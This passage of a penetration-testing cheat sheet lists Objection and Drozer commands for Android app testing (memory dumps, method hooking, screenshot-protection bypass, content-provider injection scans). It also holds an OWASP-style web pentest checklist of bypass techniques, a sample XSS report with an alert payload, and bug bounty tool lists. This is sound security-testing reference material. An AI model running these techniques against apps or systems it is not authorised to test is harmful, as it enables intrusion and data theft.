#memory dump from_base 0x77bbc000 4096 'all_memory.dmp'
Search inside Memory using Objection:
memory search '<keyword_to_search>' --string
# e.g.:
# memory search 'api' --string
[!TIP] Base address can be obtain by running
memory list modules
command.The
size_to_dump
is the amount of memory to extract, in bytes (e.g., 4096 for 4 KB).
Monitor user clipboard using Objection:
android clipboard monitor
List classes that were loaded inside the current application:
android hooking list classes
Search classes inside the current application:
android hooking search classes '<keyword_to_search>'
# e.g.:
# android hooking search classes 'jakhar.aseem.diva'
List declared Methods of a class with their parameters in the current application:
android hooking list class_methods <package_name_of_the_apk>.<activity_or_class_name>
# e.g.:
# android hooking list class_methods jakhar.aseem.diva.MainActivity
List methods inside classes:
methods inside the class <package_name_of_the_apk> <activity_or_class_name>
# e.g.:
# android hooking search classes jakhar.aseem.diva MainActivity
Hooking (watching) a method:
# Read source code in static analysis face to aware about function names
android hooking watch class_method <package_name_of_the_apk>.<activity_or_class_name>.<function_or_method_name> --dump-args --dump-backtrace --dump-return
# e.g.:
# android hooking watch class_method jakhar.aseem.diva.MainActivity.xyz --dump-args --dump-backtrace --dump-return
Hooking (watching) an entire class:
android hooking watch class <package_name_of_the_apk>.<activity_or_class_name> --dump-args --dump-return
# e.g.:
# android hooking watch class jakhar.aseem.diva.MainActivity --dump-args --dump-args --dump-return
Alter boolean return value of a function:
# From the source code you can determine which function returns a boolean, and make the function always return true or false:
android hooking set return_value <package_name_of_the_apk>.<activity_or_class_name>.<function_or_method_name> <bool>
# e.g.:
# android hooking set return_value jakhar.aseem.diva.MainActivity.xyz false
List instances of a specific Java class inside current app using Objection:
android heap print_instances <class_name>
# e.g.:
# android heap print_instances MainActivity
Screenshots protection bypass in current app using Objection:
# Enable screenshot with hardware key
android ui FLAG_SECURE false
Connect/execute/sync/disconnect SQLite command with current app database(s) using Objection:
# First identify current app database(s) location, then go to the location and connect to the database:
sqlite connect <sqlite_database_location_and_file_name>
# Check the status of the SQLite connection
sqlite status
# Get the database schema for the currently connected SQLite database
sqlite execute schema
# Execute sql query
sqlite execute query <sql query>
# Sync the locally cached SQLite database with remote database
sqlite sync
# Disconnect from the currently connected SQLite database file
sqlite disconnect
# e.g.:
# sqlite connect credentials.db
# sqlite execute query select * from data
[!NOTE] The
sqlite
command utility in Objection allows you to connect to a SQLite database. On connecting to a remote device database Objection copy the remote database file to a local temporary directory. When a user executes any SQL query, it is initially performed on the cached database file locally. If the user employs thesqlite sync
command, the file is then validated. Once the local cached SQLite database is validated, it is synchronized with the remote database.
Drozer Commands
Connect to Drozer:
-
Download Drozer Agent Apk agent-debug.apk
-
Install the apk to device
# Install drozer apk using ADB adb install agent-debug.apk
-
Launch the drozer app
adb shell monkey -p com.mwr.dz -c 1
-
Starting the ADB Server
adb forward tcp:31415 tcp:31415
-
Connect to Drozer Desktop Server
drozer console connect --server <desktop_ip> # e.g.: drozer console connect --server 192.168.100.5
Find an android package:
# Lists all packages using Drozer
run app.package.list
# Lists packages containing the specified keyword using Drozer
run app.package.list -f adb shell pm list packages 'keyword'
# e.g.:
# run app.package.list -f adb shell pm list packages 'diva'
List basic information about an android package:
run app.package.info -a <package_name_of_the_apk>
# e.g.:
# run app.package.info -a jakhar.aseem.diva
Show AndroidManifest.xml of an android package:
run app.package.manifest <package_name_of_the_apk>
# e.g.:
# run app.package.manifest jakhar.aseem.diva
Show Attack surface (common weakness) of an android package:
run app.package.attacksurface <package_name_of_the_apk>
# e.g.:
# run app.package.attacksurface jakhar.aseem.diva
Lists packages which the Backup flag is enabled:
run app.package.backup
Lists packages which the Debuggable flag is enabled:
run app.package.debuggable
List activities and intent filters of an android package using Drozer:
# List activities
run app.activity.info -a <package_name_of_the_apk>
# List intent filters
run app.activity.info -i <package_name_of_the_apk>
# List booth
run app.activity.info -i -a <package_name_of_the_apk>
# e.g.:
# run app.activity.info -a jakhar.aseem.diva
# run app.activity.info -i jakhar.aseem.diva
# run app.activity.info -i -a jakhar.aseem.diva
Launch an activity of an android package using Drozer:
# List activities
run app.activity.start --component <package_name_of_the_apk> <activity_name>
# e.g.:
# run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.MainActivity
List exported and unexported content providers of an android package using Drozer:
# List exported content providers
run app.provider.info -a <package_name_of_the_apk>
# List unexported content providers
run app.provider.info -u -a <package_name_of_the_apk>
# e.g.:
# run app.provider.info -a jakhar.aseem.diva
# run app.provider.info -u -a jakhar.aseem.diva
Investigate Android package content providers for potential vulnerabilities using Drozer:
run scanner.provider.finduris <package_name_of_the_apk>
# e.g.:
# run scanner.provider.finduris jakhar.aseem.diva
Investigate Android package content providers for potential SQL Injections vulnerabilities using Drozer:
run scanner.provider.injection <package_name_of_the_apk>
# e.g.:
# run scanner.provider.injection jakhar.aseem.diva
Find tables accessible through SQL injection in a Android package using Drozer:
run scanner.provider.sqltables <package_name_of_the_apk>
# e.g.:
# run scanner.provider.sqltables jakhar.aseem.diva
Investigate Android package content providers for basic directory traversal vulnerabilities using Drozer:
run scanner.provider.traversal <package_name_of_the_apk>
# e.g.:
# run scanner.provider.traversal jakhar.aseem.diva
Investigate Android package for browsable activities that can be invoked from the web browser using Drozer:
run scanner.activity.browsable <package_name_of_the_apk>
# e.g.:
# run scanner.activity.browsable jakhar.aseem.diva
Investigate Android package native components for potential vulnerabilities using Drozer:
run scanner.misc.native <package_name_of_the_apk>
# e.g.:
# run scanner.misc.native jakhar.aseem.diva
Investigate Android package for secret codes that can be used from the dialer using Drozer:
run scanner.misc.secretcodes <package_name_of_the_apk>
# e.g.:
# run scanner.misc.secretcodes jakhar.aseem.diva
Terminology's
SSL Pinning
SSL (Secure socket layer) pinning in Android is a security measure where a mobile app validates a server's SSL certificate against a pre-defined certificate or public key embedded within the app. This helps prevent man-in-the-middle attacks by ensuring a secure and trusted connection.
KeyStore
In Android, a keystore is a secure storage system used to store and manage cryptographic keys and certificates. It provides a secure environment for tasks like SSL/TLS pinning, app authentication, and data encryption, enhancing the overall security of Android applications.
Memory Dump
In Android, a memory dump is a snapshot of the device's current system memory. It captures the contents of RAM, including running processes and their data. Check memory dump for any sensitive information stored in memory.
Important Links
- https://book.hacktricks.xyz/mobile-pentesting/android-checklist
- learnfrida.info
- codeshare.frida.re
- https://github.com/dweinstein/awesome-frida
- https://github.com/interference-security/frida-scripts
- https://github.com/m0bilesecurity/Frida-Mobile-Scripts
- https://github.com/WithSecureLabs/android-keystore-audit
- https://owasp.org/www-project-mobile-security-testing-guide/
- https://github.com/B3nac/Android-Reports-and-Resources
- https://github.com/wtsxDev/android-security-list
- https://mobile-security.gitbook.io/mobile-security-testing-guide/
- https://github.com/ashishb/android-security-awesome
- https://androidsdkoffline.blogspot.com/p/android-sdk-build-tools.html
Intentionally Vulnerable Applications For Practice
- Damn Insecure and vulnerable App for Android (DIVA) (Link)
- InsecureBankv2 (Link)
- VyAPI (Link)
Hybrid (Cloud + Android)
- Damn Vulnerable Hybrid Mobile App (DVHMA) (Link)
- What a Terrible Failure (WaTF Bank) (Link)
- Vuldroid (Link)
- Oversecured Vulnerable Android App (OVAA) (Link)
Raw Code(Gradle)
Important Tools
- Yaazhini
- Frida
- Objection
- Runtime Mobile Security (RMS)
- House
- APKTool
- JADx
- JD-GUI
- APKLeaks
- Fridump
- Drozer
- MobSF Mobile Security Framework
Vulnerable & Test Applications
- DIVA Android - DIVA (Damn Insecure and Vulnerable App) is designed to teach developers/QA/security professionals about common flaws due to insecure coding practices.
- InsecureBank v2 - A vulnerable Android application designed to teach various Android vulnerabilities.
- Uncrackable Mobile Apps - These apps are part of the OWASP Mobile Security Testing Guide and serve as practice for reverse engineering and mobile app security testing.
- VyAPI - A vulnerable Android app designed for learning purposes.
- DVHMA - Damn Vulnerable Hybrid Mobile App, intended for security enthusiasts to learn and practice hybrid mobile application security.
- WaTF Bank - Web and mobile application security practice tool.
- Injured Android - A vulnerable Android application for learning Android security.
- Sieve mwrlabs - A vulnerable app to learn about various Android security aspects.
- Vuldroid - A vulnerable Android app for security enthusiasts.
- Oversecured Vulnerable Android App - An app designed to teach mobile application security.
Guides & References
- Mobile App Pentest Cheat Sheet
- Mobile Apps Pentesting Checklist
- OWASP Mobile Security Testing Guide
- Android Reports and Resources
- Android Security List
- Mobile Security Testing Guide
- Awesome Android Security
- Android Security Awesome
I tried my best to enrich this checklist. Please feel free to share your key findings and knowledge. Thank you🙏
WEB APPLICATION PENTESTING CHECKLIST
OWASP Based Checklist 🌟🌟
500+ Test Cases 🚀🚀
Notion link: https://hariprasaanth.notion.site/WEB-APPLICATION-PENTESTING-CHECKLIST-0f02d8074b9d4af7b12b8da2d46ac998
-
INFORMATION GATHERING
Open Source Reconnaissance
- Perform Google Dorks search
- Perform OSINT
Fingerprinting Web Server
- Find the type of Web Server
- Find the version details of the Web Server
Looking For Metafiles
- View the Robots.txt file
- View the Sitemap.xml file
- View the Humans.txt file
- View the Security.txt file
Enumerating Web Server’s Applications
- Enumerating with Nmap
- Enumerating with Netcat
- Perform a DNS lookup
- Perform a Reverse DNS lookup
Review The Web Contents
- Inspect the page source for sensitive info
- Try to find Sensitive Javascript codes
- Try to find any keys
- Make sure the autocomplete is disabled
Identifying Application’s Entry Points
- Identify what the methods used are?
- Identify where the methods used are?
- Identify the Injection point
Mapping Execution Paths
- Use Burp Suite
- Use Dirsearch
- Use Gobuster
Fingerprint Web Application Framework
- Use the Wappalyzer browser extension
- Use Whatweb
- View URL extensions
- View HTML source code
- View the cookie parameter
- View the HTTP headers
Map Application Architecture
- Map the overall site structure
-
CONFIGURATION & DEPLOYMENT MANAGEMENT TESTING
Test Network Configuration
- Check the network configuration
- Check for default settings
- Check for default credentials
Test Application Configuration
- Ensure only required modules are used
- Ensure unwanted modules are disabled
- Ensure the server can handle DOS
- Check how the application is handling 4xx & 5xx errors
- Check for the privilege required to run
- Check logs for sensitive info
Test File Extension Handling
- Ensure the server won’t return sensitive extensions
- Ensure the server won’t accept malicious extensions
- Test for file upload vulnerabilities
Review Backup & Unreferenced Files
- Ensure unreferenced files don’t contain any sensitive info
- Ensure the namings of old and new backup files
- Check the functionality of unreferenced pages
Enumerate Infrastructure & Admin Interfaces
- Try to find the Infrastructure Interface
- Try to find the Admin Interface
- Identify the hidden admin functionalities
Testing HTTP Methods
- Discover the supported methods
- Ensure the PUT method is disabled
- Ensure the OPTIONS method is disabled
- Test access control bypass
- Test for XST attacks
- Test for HTTP method overriding
Test HSTS
- Ensure HSTS is enabled
Test RIA Cross Domain Policy
- Check for Adobe’s Cross Domain Policy
- Ensure it has the least privilege
Test File Permission
- Ensure the permissions for sensitive files
- Test for directory enumeration
Test For Subdomain Takeover
- Test DNS, A, and CNAME records for subdomain takeover
- Test NS records for subdomain takeover
- Test 404 response for subdomain takeover
Test Cloud Storage
- Check the sensitive paths of AWS
- Check the sensitive paths of Google Cloud
- Check the sensitive paths of Azure
-
IDENTITY MANAGEMENT TESTING
Test Role Definitions
- Test for forced browsing
- Test for IDOR (Insecure Direct Object Reference)
- Test for parameter tampering
- Ensure low privilege users can’t able to access high privilege resources
Test User Registration Process
- Ensure the same user or identity can’t register again and again
- Ensure the registrations are verified
- Ensure disposable email addresses are rejected
- Check what proof is required for successful registration
Test Account Provisioning Process
- Check the verification for the provisioning process
- Check the verification for the de-provisioning process
- Check the provisioning rights for an admin user to other users
- Check whether a user is able to de-provision themself or not?
- Check for the resources of a de-provisioned user
Testing For Account Enumeration
- Check the response when a valid username and password entered
- Check the response when a valid username and an invalid password entered
- Check the response when an invalid username and password entered
- Ensure the rate-limiting functionality is enabled in username and password fields
Test For Weak Username Policy
- Check the response for both valid and invalid usernames
- Check for username enumeration
-
AUTHENTICATION TESTING
Test For Un-Encrypted Channel
- Check for the HTTP login page
- Check for the HTTP register or sign-in page
- Check for HTTP forgot password page
- Check for HTTP change password
- Check for resources on HTTP after logout
- Test for forced browsing to HTTP pages
Test For Default Credentials
- Test with default credentials
- Test organization name as credentials
- Test for response manipulation
- Test for the default username and a blank password
- Review the page source for credentials
Test For Weak Lockout Mechanism
- Ensure the account has been locked after 3-5 incorrect attempts
- Ensure the system accepts only the valid CAPTCHA
- Ensure the system rejects the invalid CAPTCHA
- Ensure CAPTCHA code regenerated after reloaded
- Ensure CAPTCHA reloads after entering the wrong code
- Ensure the user has a recovery option for a lockout account
Test For Bypassing Authentication Schema
- Test forced browsing directly to the internal dashboard without login
- Test for session ID prediction
- Test for authentication parameter tampering
- Test for SQL injection on the login page
- Test to gain access with the help of session ID
- Test multiple logins allowed or not?
Test For Vulnerable Remember Password
- Ensure that the stored password is encrypted
- Ensure that the stored password is on the server-side
Test For Browser Cache Weakness
- Ensure proper cache-control is set on sensitive pages
- Ensure no sensitive data is stored in the browser cache storage
Test For Weak Password Policy
- Ensure the password policy is set to strong
- Check for password reusability
- Check the user is prevented to use his username as a password
- Check for the usage of common weak passwords
- Check the minimum password length to be set
- Check the maximum password length to be set
Testing For Weak Security Questions
- Check for the complexity of the questions
- Check for brute-forcing
Test For Weak Password Reset Function
- Check what information is required to reset the password
- Check for password reset function with HTTP
- Test the randomness of the password reset tokens
- Test the uniqueness of the password reset tokens
- Test for rate limiting on password reset tokens
- Ensure the token must expire after being used
- Ensure the token must expire after not being used for a long time
Test For Weak Password Change Function
- Check if the old password asked to make a change
- Check for the uniqueness of the forgotten password
- Check for blank password change
- Check for password change function with HTTP
- Ensure the old password is not displayed after changed
- Ensure the other sessions got destroyed after the password change
Test For Weak Authentication In Alternative Channel
- Test authentication on the desktop browsers
- Test authentication on the mobile browsers
- Test authentication in a different country
- Test authentication in a different language
- Test authentication on desktop applications
- Test authentication on mobile applications
-
AUTHORIZATION TESTING
Testing Directory Traversal File Include
- Identify the injection point on the URL
- Test for Local File Inclusion
- Test for Remote File Inclusion
- Test Traversal on the URL parameter
- Test Traversal on the cookie parameter
Testing Traversal With Encoding
- Test Traversal with Base64 encoding
- Test Traversal with URL encoding
- Test Traversal with ASCII encoding
- Test Traversal with HTML encoding
- Test Traversal with Hex encoding
- Test Traversal with Binary encoding
- Test Traversal with Octal encoding
- Test Traversal with Gzip encoding
Testing Travesal With Different OS Schemes
- Test Traversal with Unix schemes
- Test Traversal with Windows schemes
- Test Traversal with Mac schemes
Test Other Encoding Techniques
- Test Traversal with Double encoding
- Test Traversal with all characters encode
- Test Traversal with only special characters encode
Test Authorization Schema Bypass
- Test for Horizontal authorization schema bypass
- Test for Vertical authorization schema bypass
- Test override the target with custom headers
Test For Privilege Escalation
- Identify the injection point
- Test for bypassing the security measures
- Test for forced browsing
- Test for IDOR
- Test for parameter tampering to high privileged user
Test For Insecure Direct Object Reference
- Test to change the ID parameter
- Test to add parameters at the endpoints
- Test for HTTP parameter pollution
- Test by adding an extension at the end
- Test with outdated API versions
- Test by wrapping the ID with an array
- Test by wrapping the ID with a JSON object
- Test for JSON parameter pollution
- Test by changing the case
- Test for path traversal
- Test by changing words
- Test by changing methods
-
SESSION MANAGEMENT TESTING
Test For Session Management Schema
- Ensure all Set-Cookie directives are secure
- Ensure no cookie operation takes place over an unencrypted channel
- Ensure the cookie can’t be forced over an unencrypted channel
- Ensure the HTTPOnly flag is enabled
- Check if any cookies are persistent
- Check for session cookies and cookie expiration date/time
- Check for session fixation
- Check for concurrent login
- Check for session after logout
- Check for session after closing the browser
- Try decoding cookies (Base64, Hex, URL, etc)
Test For Cookie Attributes
- Ensure the cookie must be set with the secure attribute
- Ensure the cookie must be set with the path attribute
- Ensure the cookie must have the HTTPOnly flag
Test For Session Fixation
- Ensure new cookies have been issued upon a successful authentication
- Test manipulating the cookies
Test For Exposed Session Variables
- Test for encryption
- Test for GET and POST vulnerabilities
- Test if GET request incorporating the session ID used
- Test by interchanging POST with GET method
Test For Back Refresh Attack
- Test after password change
- Test after logout
Test For Cross Site Request Forgery
- Check if the token is validated on the server-side or not
- Check if the token is validated for full or partial length
- Check by comparing the CSRF tokens for multiple dummy accounts
- Check CSRF by interchanging POST with GET method
- Check CSRF by removing the CSRF token parameter
- Check CSRF by removing the CSRF token and using a blank parameter
- Check CSRF by using unused tokens
- Check CSRF by replacing the CSRF token with its own values
- Check CSRF by changing the content type to form-multipart
- Check CSRF by changing or deleting some characters of the CSRF token
- Check CSRF by changing the referrer to Referrer
- Check CSRF by changing the host values
- Check CSRF alongside clickjacking
Test For Logout Functionality
- Check the log out function on different pages
- Check for the visibility of the logout button
- Ensure after logout the session was ended
- Ensure after logout we can’t able to access the dashboard by pressing the back button
- Ensure proper session timeout has been set
Test For Session Timeout
- Ensure there is a session timeout exists
- Ensure after the timeout, all of the tokens are destroyed
Test For Session Puzzling
- Identify all the session variables
- Try to break the logical flow of the session generation
Test For Session Hijacking
- Test session hijacking on target that doesn’t has HSTS enabled
- Test by login with the help of captured cookies
-
INPUT VALIDATION TESTING
Test For Reflected Cross Site Scripting
- Ensure these characters are filtered <>’’&””
- Test with a character escape sequence
- Test by replacing < and > with HTML entities < and >
- Test payload with both lower and upper case
- Test to break firewall regex by new line /r/n
- Test with double encoding
- Test with recursive filters
- Test injecting anchor tags without whitespace
- Test by replacing whitespace with bullets
- Test by changing HTTP methods
Test For Stored Cross Site Scripting
- Identify stored input parameters that will reflect on the client-side
- Look for input parameters on the profile page
- Look for input parameters on the shopping cart page
- Look for input parameters on the file upload page
- Look for input parameters on the settings page
- Look for input parameters on the forum, comment page
- Test uploading a file with XSS payload as its file name
- Test with HTML tags
Test For HTTP Parameter Pollution
- Identify the backend server and parsing method used
- Try to access the injection point
- Try to bypass the input filters using HTTP Parameter Pollution
Test For SQL Injection
- Test SQL Injection on authentication forms
- Test SQL Injection on the search bar
- Test SQL Injection on editable characteristics
- Try to find SQL keywords or entry point detections
- Try to inject SQL queries
- Use tools like SQLmap or Hackbar
- Use Google dorks to find the SQL keywords
- Try GET based SQL Injection
- Try POST based SQL Injection
- Try COOKIE based SQL Injection
- Try HEADER based SQL Injection
- Try SQL Injection with null bytes before the SQL query
- Try SQL Injection with URL encoding
- Try SQL Injection with both lower and upper cases
- Try SQL Injection with SQL Tamper scripts
- Try SQL Injection with SQL Time delay payloads
- Try SQL Injection with SQL Conditional delays
- Try SQL Injection with Boolean based SQL
- Try SQL Injection with Time based SQL
Test For LDAP Injection
- Use LDAP search filters
- Try LDAP Injection for access control bypass
Testing For XML Injection
- Check if the application is using XML for processing
- Identify the XML Injection point by XML metacharacter
- Construct XSS payload on top of XML
Test For Server Side Includes
- Use Google dorks to find the SSI
- Construct RCE on top of SSI
- Construct other injections on top of SSI
- Test Injecting SSI on login pages, header fields, referrer, etc
Test For XPATH Injection
- Identify XPATH Injection point
- Test for XPATH Injection
Test For IMAP SMTP Injection
- Identify IMAP SMTP Injection point
- Understand the data flow
- Understand the deployment structure of the system
- Assess the injection impact
Test For Local File Inclusion
- Look for LFI keywords
- Try to change the local path
- Use the LFI payload list
- Test LFI by adding a null byte at the end
Test For Remote File Inclusion
- Look for RFI keywords
- Try to change the remote path
- Use the RFI payload list
Test For Command Injection
- Identify the Injection points
- Look for Command Injection keywords
- Test Command Injection using different delimiters
- Test Command Injection with payload list
- Test Command Injection with different OS commands
Test For Format String Injection
- Identify the Injection points
- Use different format parameters as payloads
- Assess the injection impact
Test For Host Header Injection
- Test for HHI by changing the real Host parameter
- Test for HHI by adding X-Forwarded Host parameter
- Test for HHI by swapping the real Host and X-Forwarded Host parameter
- Test for HHI by adding two Host parameters
- Test for HHI by adding the target values in front of the original values
- Test for HHI by adding the target with a slash after the original values
- Test for HHI with other injections on the Host parameter
- Test for HHI by password reset poisoning
Test For Server Side Request Forgery
- Look for SSRF keywords
- Search for SSRF keywords only under the request header and body
- Identify the Injection points
- Test if the Injection points are exploitable
- Assess the injection impact
Test For Server Side Template Injection
- Identify the Template injection vulnerability points
- Identify the Templating engine
- Use the tplmap to exploit
-
ERROR HANDLING TESTING
Test For Improper Error Handling
- Identify the error output
- Analyze the different outputs returned
- Look for common error handling flaws
- Test error handling by modifying the URL parameter
- Test error handling by uploading unrecognized file formats
- Test error handling by entering unrecognized inputs
- Test error handling by making all possible errors
-
WEAK CRYPTOGRAPHY TESTING
Test For Weak Transport Layer Security
- Test for DROWN weakness on SSLv2 protocol
- Test for POODLE weakness on SSLv3 protocol
- Test for BEAST weakness on TLSv1.0 protocol
- Test for FREAK weakness on export cipher suites
- Test for Null ciphers
- Test for NOMORE weakness on RC4
- Test for LUCKY 13 weakness on CBC mode ciphers
- Test for CRIME weakness on TLS compression
- Test for LOGJAM on DHE keys
- Ensure the digital certificates should have at least 2048 bits of key length
- Ensure the digital certificates should have at least SHA-256 signature algorithm
- Ensure the digital certificates should not use MDF and SHA-1
- Ensure the validity of the digital certificate
- Ensure the minimum key length requirements
- Look for weak cipher suites
-
BUSINESS LOGIC TESTING
Test For Business Logic
- Identify the logic of how the application works
- Identify the functionality of all the buttons
- Test by changing the numerical values into high or negative values
- Test by changing the quantity
- Test by modifying the payments
- Test for parameter tampering
Test For Malicious File Upload
- Test malicious file upload by uploading malicious files
- Test malicious file upload by putting your IP address on the file name
- Test malicious file upload by right to left override
- Test malicious file upload by encoded file name
- Test malicious file upload by XSS payload on the file name
- Test malicious file upload by RCE payload on the file name
- Test malicious file upload by LFI payload on the file name
- Test malicious file upload by RFI payload on the file name
- Test malicious file upload by SQL payload on the file name
- Test malicious file upload by other injections on the file name
- Test malicious file upload by Inserting the payload inside of an image by the bmp.pl tool
- Test malicious file upload by uploading large files (leads to DOS)
-
CLIENT SIDE TESTING
Test For DOM Based Cross Site Scripting
- Try to identify DOM sinks
- Build payloads to that DOM sink type
Test For URL Redirect
- Look for URL redirect parameters
- Test for URL redirection on domain parameters
- Test for URL redirection by using a payload list
- Test for URL redirection by using a whitelisted word at the end
- Test for URL redirection by creating a new subdomain with the same as the target
- Test for URL redirection by XSS
- Test for URL redirection by profile URL flaw
Test For Cross Origin Resource Sharing
- Look for “Access-Control-Allow-Origin” on the response
- Use the CORS HTML exploit code for further exploitation
Test For Clickjacking
- Ensure “X-Frame-Options” headers are enabled
- Exploit with iframe HTML code for POC
-
OTHER COMMON ISSUES
Test For No-Rate Limiting
- Ensure rate limiting is enabled
- Try to bypass rate limiting by changing the case of the endpoints
- Try to bypass rate limiting by adding / at the end of the URL
- Try to bypass rate limiting by adding HTTP headers
- Try to bypass rate limiting by adding HTTP headers twice
- Try to bypass rate limiting by adding Origin headers
- Try to bypass rate limiting by IP rotation
- Try to bypass rate limiting by using null bytes at the end
- Try to bypass rate limiting by using race conditions
Test For EXIF Geodata
- Ensure the website is striping the geodata
- Test with EXIF checker
Test For Broken Link Hijack
- Ensure there is no broken links are there
- Test broken links by using the blc tool
Test For SPF
- Ensure the website is having SPF record
- Test SPF by nslookup command
Test For Weak 2FA
- Try to bypass 2FA by using poor session management
- Try to bypass 2FA via the OAuth mechanism
- Try to bypass 2FA via brute-forcing
- Try to bypass 2FA via response manipulation
- Try to bypass 2FA by using activation links to login
- Try to bypass 2FA by using status code manipulation
- Try to bypass 2FA by changing the email or password
- Try to bypass 2FA by using a null or empty entry
- Try to bypass 2FA by changing the boolean into false
- Try to bypass 2FA by removing the 2FA parameter on the request
Test For Weak OTP Implementation
- Try to bypass OTP by entering the old OTP
- Try to bypass OTP by brute-forcing
- Try to bypass OTP by using a null or empty entry
- Try to bypass OTP by response manipulation
- Try to bypass OTP by status code manipulation
Things to mention in the report:
-
Vulnerability
-
Severity
-
Description
-
Instance
-
POC (proof of concept)
-
Steps to Reproduce
-
Impact
-
Mitigation
-
Reference
# Vulnerability Report
Vulnerability: Cross-Site Scripting (XSS)
Severity: High
Description
Cross-site scripting is a critical computer security vulnerability where an attacker attempts to execute malicious scripts in a web browser of the victim by injecting malicious code into a legitimate web page or web application.
Instance
-
Payload:
<script> alert(1); </script>
Proof of Concept
Screenshots of the browser page demonstrating the successful execution of the payload.
Steps to Reproduce
-
Go to www.xyz.com/deb/search?query=
-
Insert the payload in search box
-
Check the response
Impact
The XSS vulnerability poses a high risk, leading to potential:
-
Open Redirection
-
Session Hijack
-
Phishing
-
Defacement
-
Cookie Stealing
Mitigation
-
Input Validation
-
Encoding
• Input Validation: Validate and sanitize user inputs to ensure they adhere to expected formats. • Encoding: Encode output data to prevent malicious script execution.
Reference
OWASP/CVE/NVD link 🔗
Examples screenshot:
Awesome Bug Bounty Tools 
A curated list of various bug bounty tools
Contents
-
- Command Injection
- CORS Misconfiguration
- CRLF Injection
- CSRF Injection
- Directory Traversal
- File Inclusion
- GraphQL Injection
- Header Injection
- Insecure Deserialization
- Insecure Direct Object References
- Open Redirect
- Race Condition
- Request Smuggling
- Server Side Request Forgery
- SQL Injection
- XSS Injection
- XXE Injection
Recon
Subdomain Enumeration
- Sublist3r - Fast subdomains enumeration tool for penetration testers
- Amass - In-depth Attack Surface Mapping and Asset Discovery
- massdns - A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration)
- Findomain - The fastest and cross-platform subdomain enumerator, do not waste your time.
- Sudomy - Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug hunting / pentesting
- chaos-client - Go client to communicate with Chaos DNS API.
- domained - Multi Tool Subdomain Enumeration
- bugcrowd-levelup-subdomain-enumeration - This repository contains all the material from the talk "Esoteric sub-domain enumeration techniques" given at Bugcrowd LevelUp 2017 virtual conference
- shuffledns - shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output…
- puredns - Fast domain resolver and subdomain bruteforcing with accurate wildcard filtering with wilcard(*)
- censys-subdomain-finder - Perform subdomain enumeration using the certificate transparency logs from Censys.
- Turbolist3r - Subdomain enumeration tool with analysis features for discovered domains
- censys-enumeration - A script to extract subdomains/emails for a given domain using SSL/TLS certificate dataset on Censys
- tugarecon - Fast subdomains enumeration tool for penetration testers.
- as3nt - Another Subdomain ENumeration Tool
- Subra - A Web-UI for subdomain enumeration (subfinder)
- Substr3am - Passive reconnaissance/enumeration of interesting targets by watching for SSL certificates being issued
- domain - enumall.py Setup script for Regon-ng
- altdns - Generates permutations, alterations and mutations of subdomains and then resolves them
- brutesubs - An automation framework for running multiple open sourced subdomain bruteforcing tools (in parallel) using your own wordlists via Docker Compose
- dns-parallel-prober - his is a parallelised domain name prober to find as many subdomains of a given domain as fast as possible.
- dnscan - dnscan is a python wordlist-based DNS subdomain scanner.
- knock - Knockpy is a python tool designed to enumerate subdomains on a target domain through a wordlist.
- hakrevdns - Small, fast tool for performing reverse DNS lookups en masse.
- dnsx - Dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers.
- subfinder - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites.
- assetfinder - Find domains and subdomains related to a given domain
- crtndstry - Yet another subdomain finder
- VHostScan - A virtual host scanner that performs reverse lookups
- scilla - Information Gathering tool - DNS / Subdomains / Ports / Directories enumeration
- sub3suite - A research-grade suite of tools for subdomain enumeration, intelligence gathering and attack surface mapping.
- cero - Scrape domain names from SSL certificates of arbitrary hosts
- shosubgo - Small tool to Grab subdomains using Shodan api
- haktrails - Golang client for querying SecurityTrails API data
- bbot - A recursive internet scanner for hackers
Port Scanning
- masscan - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
- RustScan - The Modern Port Scanner
- naabu - A fast port scanner written in go with focus on reliability and simplicity.
- nmap - Nmap - the Network Mapper. Github mirror of official SVN repository.
- sandmap - Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles.
- ScanCannon - Combines the speed of masscan with the reliability and detailed enumeration of nmap
Screenshots
- EyeWitness - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.
- aquatone - Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.
- screenshoteer - Make website screenshots and mobile emulations from the command line.
- gowitness - gowitness - a golang, web screenshot utility using Chrome Headless
- WitnessMe - Web Inventory tool, takes screenshots of webpages using Pyppeteer (headless Chrome/Chromium) and provides some extra bells & whistles to make life easier.
- eyeballer - Convolutional neural network for analyzing pentest screenshots
- scrying - A tool for collecting RDP, web and VNC screenshots all in one place
- Depix - Recovers passwords from pixelized screenshots
- httpscreenshot - HTTPScreenshot is a tool for grabbing screenshots and HTML of large numbers of websites.
Technologies
- wappalyzer - Identify technology on websites.
- webanalyze - Port of Wappalyzer (uncovers technologies used on websites) to automate mass scanning.
- python-builtwith - BuiltWith API client
- whatweb - Next generation web scanner
- retire.js - scanner detecting the use of JavaScript libraries with known vulnerabilities
- httpx - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.
- fingerprintx - fingerprintx is a standalone utility for service discovery on open ports that works well with other popular bug bounty command line tools.
Content Discovery
- gobuster - Directory/File, DNS and VHost busting tool written in Go
- recursebuster - rapid content discovery tool for recursively querying webservers, handy in pentesting and web application assessments
- feroxbuster - A fast, simple, recursive content discovery tool written in Rust.
- dirsearch - Web path scanner
- dirsearch - A Go implementation of dirsearch.
- filebuster - An extremely fast and flexible web fuzzer
- dirstalk - Modern alternative to dirbuster/dirb
- dirbuster-ng - dirbuster-ng is C CLI implementation of the Java dirbuster tool
- gospider - Gospider - Fast web spider written in Go
- hakrawler - Simple, fast web crawler designed for easy, quick discovery of endpoints and assets within a web application
- crawley - fast, feature-rich unix-way web scraper/crawler written in Golang.
- katana - A next-generation crawling and spidering framework
Links
- LinkFinder - A python script that finds endpoints in JavaScript files
- JS-Scan - a .js scanner, built in php. designed to scrape urls and other info
- LinksDumper - Extract (links/possible endpoints) from responses & filter them via decoding/sorting
- GoLinkFinder - A fast and minimal JS endpoint extractor
